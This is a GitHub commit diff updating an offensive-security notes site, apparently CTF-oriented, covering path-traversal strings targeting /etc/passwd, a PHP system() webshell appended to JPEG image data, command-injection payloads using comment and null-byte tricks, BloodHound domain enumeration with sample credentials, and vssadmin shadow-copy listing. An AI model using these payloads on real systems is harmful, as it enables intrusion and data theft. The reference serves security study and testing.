Skip to content

Commit bda6807

Browse files
committed
updated some techniques
1 parent 7cf115b commit bda6807

File tree

6 files changed

+78
-32
lines changed

6 files changed

+78
-32
lines changed

src/exploit/binary-exploitation/method/binary-exploitation-with-buffer-overflow.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: Buffer overflow occurs when a program attempts to write more data t
44
tags:
55
- Reverse Engineering
66
refs:
7-
date: 2023-08-14
7+
date: 2024-12-12
88
draft: false
99
---
1010

@@ -172,10 +172,10 @@ r.interactive()
172172

173173
<br />
174174

175-
## Shellcode
175+
## Shellcode Injection
176176

177-
We can create the crafted shell code and override the address to execute the shell code.
178-
Use **Pwntools** to create the shell code.
177+
We can create the crafted shellcode and override the address to execute the shellcode.
178+
Use **Pwntools** to create the shellcode.
179179

180180
```python
181181
from pwn import *

src/exploit/web/security-risk/file-inclusion.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Web
66
refs:
77
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
8-
date: 2024-11-08
8+
date: 2024-12-12
99
draft: false
1010
---
1111

@@ -16,6 +16,7 @@ draft: false
1616
?page=/etc/passwd
1717
?page=../../../../etc/passwd
1818
?page=../../../../../etc/passwd
19+
?page=..././..././..././..././etc/passwd
1920
?page=..//..//..//..//..//etc/passwd
2021
?page=....//....//....//....//etc/passwd
2122
?page=....//....//....//....//....//....//etc/passwd

src/exploit/web/security-risk/file-upload-attack.md

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
refs:
77
- https://docstore.mik.ua/orelly/web2/wdesign/ch19_01.htm
88
- https://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da
9-
date: 2024-10-25
9+
date: 2024-12-12
1010
draft: false
1111
---
1212

@@ -250,6 +250,25 @@ RIFF????WAVE
250250

251251
<br />
252252

253+
## Combine payload into image file
254+
255+
The payload can be executed by combining into an image file data.
256+
For example, generate a blank image file at first:
257+
258+
```bash
259+
convert -size 32x32 xc:white test.jpg
260+
```
261+
262+
And then we can put our payload to the end of the image data:
263+
264+
```txt
265+
ÿØÿàJFIFHHÿÛC
266+
$.' ",#(7),01444'9=82<.342ÿÀ ÿÄÿÄÿÚ?
267+
<?php echo system("whoami");?>
268+
```
269+
270+
<br />
271+
253272
## Zip
254273

255274
If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. `/upload/example.txt`.

src/exploit/web/security-risk/os-command-injection.md

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
- Reverse Shell
77
- Web
88
refs:
9-
date: 2024-10-25
9+
date: 2024-12-12
1010
draft: false
1111
---
1212

@@ -38,6 +38,8 @@ If the payload includes whitespaces (**' '**), we need to change it to **'+'** o
3838
/?cmd=ls ..
3939
/?cmd=ls ../
4040
/?cmd=ls /home
41+
<!-- Comment out at the end to ignore subsequent command/code. -->
42+
?cmd=ls /home #
4143
4244
/?cmd=`ping -c 1 10.0.0.1`
4345
@@ -85,6 +87,20 @@ We may be able to bypass specific character filter by encoding them.
8587

8688
<br />
8789

90+
## Null-terminator
91+
92+
Sometimes, we need to put a null-terminator to ignore subsequent code given by the target application.
93+
94+
```bash
95+
# URL encoding (%00)
96+
?cmd=ls /home%00
97+
# Escape sequence (\0, \00)
98+
?cmd=ls /home\0
99+
?cmd=ls /home\00
100+
```
101+
102+
<br />
103+
88104
## Bypass Whitespace Filter
89105

90106
Reference: [https://www.ctfnote.com/web/os-command-injection/whitespace-bypass](https://www.ctfnote.com/web/os-command-injection/whitespace-bypass)

src/exploit/windows/active-directory/index.md

Lines changed: 34 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://tryhackme.com/room/adenumeration
1010
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
11-
date: 2024-12-06
11+
date: 2024-12-12
1212
draft: false
1313
---
1414

@@ -32,6 +32,7 @@ The following command starts the Docker Compose of the BloodHound.
3232

3333
```bash
3434
curl -L https://ghst.ly/getbhce > docker-compose.yml
35+
sudo docker-compose down -v # If you want to reset the password of BloodHound...
3536
sudo docker-compose pull && sudo docker-compose up
3637
```
3738

@@ -45,32 +46,42 @@ export BLOODHOUND_HOST=10.0.0.1
4546
export BLOODHOUND_PORT=8090
4647
```
4748

48-
### 2. Collect Data with BloodHound.py
49+
### 2. Collect Data
4950

50-
Here we use [BloodHound.py](https://github.com/dirkjanm/BloodHound.py).
51-
Install it as follow:
51+
- **Option1. Using NetExec**
5252

53-
```sh
54-
python3 -m venv venv
55-
source venv/bin/activate
56-
pip3 install bloodhound
57-
bloodhound-python -h
58-
```
53+
If you already have `NetExec` in your machine, I think it is the most easiest way.
5954

60-
Then
55+
```sh
56+
netexec ldap <target-ip> -d example.local -u username -p password --dns-server <target-ip> --bloodhound -c All
57+
```
6158

62-
```bash
63-
# -d: Domain
64-
# -u: Username
65-
# -p: Password
66-
# -dc: Domain Controller
67-
# -c all: Collect all data
68-
# -ns: Alternate the nameserver
69-
bloodhound-python -d example.local -u 'TABATHA_BRITT' -p 'marlboro(1985)' -dc dc.example.local -c all -ns ns.example.local
70-
71-
# If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
72-
sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>
73-
```
59+
- **Option2. Using BloodHound.py**
60+
61+
We can also use [BloodHound.py](https://github.com/dirkjanm/BloodHound.py).
62+
Install it as follow:
63+
64+
```sh
65+
python3 -m venv .venv
66+
source .venv/bin/activate
67+
pipx install bloodhound # or using 'pip3' instead of 'pipx'
68+
bloodhound-python -h
69+
```
70+
71+
Then collect data:
72+
73+
```bash
74+
# -d: Domain
75+
# -u: Username
76+
# -p: Password
77+
# -dc: Domain Controller
78+
# -c all: Collect all data
79+
# -ns: Alternate the nameserver
80+
bloodhound-python -d example.local -u 'TABATHA_BRITT' -p 'marlboro(1985)' -dc dc.example.local -c all -ns ns.example.local
81+
82+
# If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
83+
sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>
84+
```
7485

7586
### 3. Upload Collected Data
7687

src/exploit/windows/privilege-escalation/index.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
1010
- https://learn.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-keys?view=powershell-7.3
11-
date: 2024-12-06
11+
date: 2024-12-12
1212
draft: false
1313
---
1414

@@ -252,7 +252,6 @@ We might be able to find interesting information about users by checking histori
252252
VSS coordinates the actions that are required to create a consistent a shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.
253253

254254
```powershell
255-
vssadmin
256255
vssadmin list shadows
257256
vssadmin list volumes
258257
```

0 commit comments

Comments
 (0)